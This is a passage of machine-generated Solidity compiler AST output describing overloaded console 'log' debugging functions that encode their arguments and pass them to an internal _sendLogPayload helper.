\"log(string,string,bool,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":19884,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"35268:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19885,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"35272:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"35268:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19891,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35268:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19883,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"35252:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19892,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35252:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19893,"nodeType":"ExpressionStatement","src":"35252:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"35170:3:14","parameters":{"id":19881,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19874,"mutability":"mutable","name":"p0","nameLocation":"35188:2:14","nodeType":"VariableDeclaration","scope":19895,"src":"35174:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19873,"name":"string","nodeType":"ElementaryTypeName","src":"35174:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19876,"mutability":"mutable","name":"p1","nameLocation":"35206:2:14","nodeType":"VariableDeclaration","scope":19895,"src":"35192:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19875,"name":"string","nodeType":"ElementaryTypeName","src":"35192:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19878,"mutability":"mutable","name":"p2","nameLocation":"35215:2:14","nodeType":"VariableDeclaration","scope":19895,"src":"35210:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19877,"name":"bool","nodeType":"ElementaryTypeName","src":"35210:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":19880,"mutability":"mutable","name":"p3","nameLocation":"35224:2:14","nodeType":"VariableDeclaration","scope":19895,"src":"35219:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19879,"name":"uint","nodeType":"ElementaryTypeName","src":"35219:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"35173:54:14"},"returnParameters":{"id":19882,"nodeType":"ParameterList","parameters":[],"src":"35242:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19918,"nodeType":"FunctionDefinition","src":"35353:197:14","nodes":[],"body":{"id":19917,"nodeType":"Block","src":"35443:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c626f6f6c2c737472696e6729","id":19909,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"35493:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_5e84b0ea51a130c3c7e1443097f28cb5c541ea8487836ae7cb1ca9c6e683699b","typeString":"literal_string \"log(string,string,bool,string)\""},"value":"log(string,string,bool,string)"},{"id":19910,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19897,"src":"35527:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19911,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19899,"src":"35531:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19912,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19901,"src":"35535:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":19913,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19903,"src":"35539:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5e84b0ea51a130c3c7e1443097f28cb5c541ea8487836ae7cb1ca9c6e683699b","typeString":"literal_string \"log(string,string,bool,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":19907,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"35469:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19908,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"35473:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"35469:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19914,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35469:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19906,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"35453:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19915,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35453:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19916,"nodeType":"ExpressionStatement","src":"35453:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"35362:3:14","parameters":{"id":19904,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19897,"mutability":"mutable","name":"p0","nameLocation":"35380:2:14","nodeType":"VariableDeclaration","scope":19918,"src":"35366:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19896,"name":"string","nodeType":"ElementaryTypeName","src":"35366:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19899,"mutability":"mutable","name":"p1","nameLocation":"35398:2:14","nodeType":"VariableDeclaration","scope":19918,"src":"35384:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19898,"name":"string","nodeType":"ElementaryTypeName","src":"35384:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19901,"mutability":"mutable","name":"p2","nameLocation":"35407:2:14","nodeType":"VariableDeclaration","scope":19918,"src":"35402:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19900,"name":"bool","nodeType":"ElementaryTypeName","src":"35402:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":19903,"mutability":"mutable","name":"p3","nameLocation":"35425:2:14","nodeType":"VariableDeclaration","scope":19918,"src":"35411:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19902,"name":"string","nodeType":"ElementaryTypeName","src":"35411:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"35365:63:14"},"returnParameters":{"id":19905,"nodeType":"ParameterList","parameters":[],"src":"35443:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19941,"nodeType":"FunctionDefinition","src":"35556:186:14","nodes":[],"body":{"id":19940,"nodeType":"Block","src":"35637:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c626f6f6c2c626f6f6c29","id":19932,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"35687:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_40785869c0ea63ca2ccbcf7415552989c2f1ce04f151eb3b2bd695c64d21af10","typeString":"literal_string \"log(string,string,bool,bool)\""},"value":"log(string,string,bool,bool)"},{"id":19933,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19920,"src":"35719:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19934,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19922,"src":"35723:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19935,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19924,"src":"35727:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":19936,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19926,"src":"35731:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_40785869c0ea63ca2ccbcf7415552989c2f1ce04f151eb3b2bd695c64d21af10","typeString":"literal_string \"log(string,string,bool,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":19930,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"35663:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19931,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"35667:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"35663:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19937,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35663:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19929,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"35647:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19938,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35647:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19939,"nodeType":"ExpressionStatement","src":"35647:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"35565:3:14","parameters":{"id":19927,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19920,"mutability":"mutable","name":"p0","nameLocation":"35583:2:14","nodeType":"VariableDeclaration","scope":19941,"src":"35569:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19919,"name":"string","nodeType":"ElementaryTypeName","src":"35569:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19922,"mutability":"mutable","name":"p1","nameLocation":"35601:2:14","nodeType":"VariableDeclaration","scope":19941,"src":"35587:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19921,"name":"string","nodeType":"ElementaryTypeName","src":"35587:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19924,"mutability":"mutable","name":"p2","nameLocation":"35610:2:14","nodeType":"VariableDeclaration","scope":19941,"src":"35605:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19923,"name":"bool","nodeType":"ElementaryTypeName","src":"35605:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":19926,"mutability":"mutable","name":"p3","nameLocation":"35619:2:14","nodeType":"VariableDeclaration","scope":19941,"src":"35614:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19925,"name":"bool","nodeType":"ElementaryTypeName","src":"35614:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"35568:54:14"},"returnParameters":{"id":19928,"nodeType":"ParameterList","parameters":[],"src":"35637:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19964,"nodeType":"FunctionDefinition","src":"35748:192:14","nodes":[],"body":{"id":19963,"nodeType":"Block","src":"35832:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c626f6f6c2c6164647265737329","id":19955,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"35882:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_c371c7db0a4b104babdbdf00d079eb75cb5aa1d401c4fb726c8e5559029df84d","typeString":"literal_string \"log(string,string,bool,address)\""},"value":"log(string,string,bool,address)"},{"id":19956,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19943,"src":"35917:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19957,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19945,"src":"35921:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19958,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19947,"src":"35925:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":19959,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19949,"src":"35929:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c371c7db0a4b104babdbdf00d079eb75cb5aa1d401c4fb726c8e5559029df84d","typeString":"literal_string \"log(string,string,bool,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":19953,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"35858:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19954,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"35862:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"35858:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19960,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35858:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19952,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"35842:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19961,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35842:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19962,"nodeType":"ExpressionStatement","src":"35842:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"35757:3:14","parameters":{"id":19950,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19943,"mutability":"mutable","name":"p0","nameLocation":"35775:2:14","nodeType":"VariableDeclaration","scope":19964,"src":"35761:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19942,"name":"string","nodeType":"ElementaryTypeName","src":"35761:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19945,"mutability":"mutable","name":"p1","nameLocation":"35793:2:14","nodeType":"VariableDeclaration","scope":19964,"src":"35779:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19944,"name":"string","nodeType":"ElementaryTypeName","src":"35779:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19947,"mutability":"mutable","name":"p2","nameLocation":"35802:2:14","nodeType":"VariableDeclaration","scope":19964,"src":"35797:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19946,"name":"bool","nodeType":"ElementaryTypeName","src":"35797:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":19949,"mutability":"mutable","name":"p3","nameLocation":"35814:2:14","nodeType":"VariableDeclaration","scope":19964,"src":"35806:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19948,"name":"address","nodeType":"ElementaryTypeName","src":"35806:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"35760:57:14"},"returnParameters":{"id":19951,"nodeType":"ParameterList","parameters":[],"src":"35832:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19987,"nodeType":"FunctionDefinition","src":"35946:192:14","nodes":[],"body":{"id":19986,"nodeType":"Block","src":"36030:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c616464726573732c75696e7429","id":19978,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"36080:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_4a81a56a33247069679e8b6a463a3b29deb4b1020ce6e03b978132074cad28c2","typeString":"literal_string \"log(string,string,address,uint)\""},"value":"log(string,string,address,uint)"},{"id":19979,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19966,"src":"36115:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19980,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19968,"src":"36119:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19981,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19970,"src":"36123:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19982,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19972,"src":"36127:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4a81a56a33247069679e8b6a463a3b29deb4b1020ce6e03b978132074cad28c2","typeString":"literal_string \"log(string,string,address,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":19976,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"36056:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19977,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"36060:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"36056:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19983,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36056:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19975,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"36040:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19984,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36040:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19985,"nodeType":"ExpressionStatement","src":"36040:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"35955:3:14","parameters":{"id":19973,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19966,"mutability":"mutable","name":"p0","nameLocation":"35973:2:14","nodeType":"VariableDeclaration","scope":19987,"src":"35959:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19965,"name":"string","nodeType":"ElementaryTypeName","src":"35959:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19968,"mutability":"mutable","name":"p1","nameLocation":"35991:2:14","nodeType":"VariableDeclaration","scope":19987,"src":"35977:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19967,"name":"string","nodeType":"ElementaryTypeName","src":"35977:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19970,"mutability":"mutable","name":"p2","nameLocation":"36003:2:14","nodeType":"VariableDeclaration","scope":19987,"src":"35995:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19969,"name":"address","nodeType":"ElementaryTypeName","src":"35995:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19972,"mutability":"mutable","name":"p3","nameLocation":"36012:2:14","nodeType":"VariableDeclaration","scope":19987,"src":"36007:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19971,"name":"uint","nodeType":"ElementaryTypeName","src":"36007:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"35958:57:14"},"returnParameters":{"id":19974,"nodeType":"ParameterList","parameters":[],"src":"36030:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20010,"nodeType":"FunctionDefinition","src":"36144:203:14","nodes":[],"body":{"id":20009,"nodeType":"Block","src":"36237:110:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c616464726573732c737472696e6729","id":20001,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"36287:35:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_eb1bff805ef136c60bfed230c7b932a14c6f7a62608edeaf56f8f2c0575d25b6","typeString":"literal_string \"log(string,string,address,string)\""},"value":"log(string,string,address,string)"},{"id":20002,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19989,"src":"36324:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20003,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19991,"src":"36328:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20004,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19993,"src":"36332:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20005,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19995,"src":"36336:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_eb1bff805ef136c60bfed230c7b932a14c6f7a62608edeaf56f8f2c0575d25b6","typeString":"literal_string \"log(string,string,address,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":19999,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"36263:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20000,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"36267:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"36263:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20006,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36263:76:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19998,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"36247:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20007,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36247:93:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20008,"nodeType":"ExpressionStatement","src":"36247:93:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"36153:3:14","parameters":{"id":19996,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19989,"mutability":"mutable","name":"p0","nameLocation":"36171:2:14","nodeType":"VariableDeclaration","scope":20010,"src":"36157:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19988,"name":"string","nodeType":"ElementaryTypeName","src":"36157:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"inter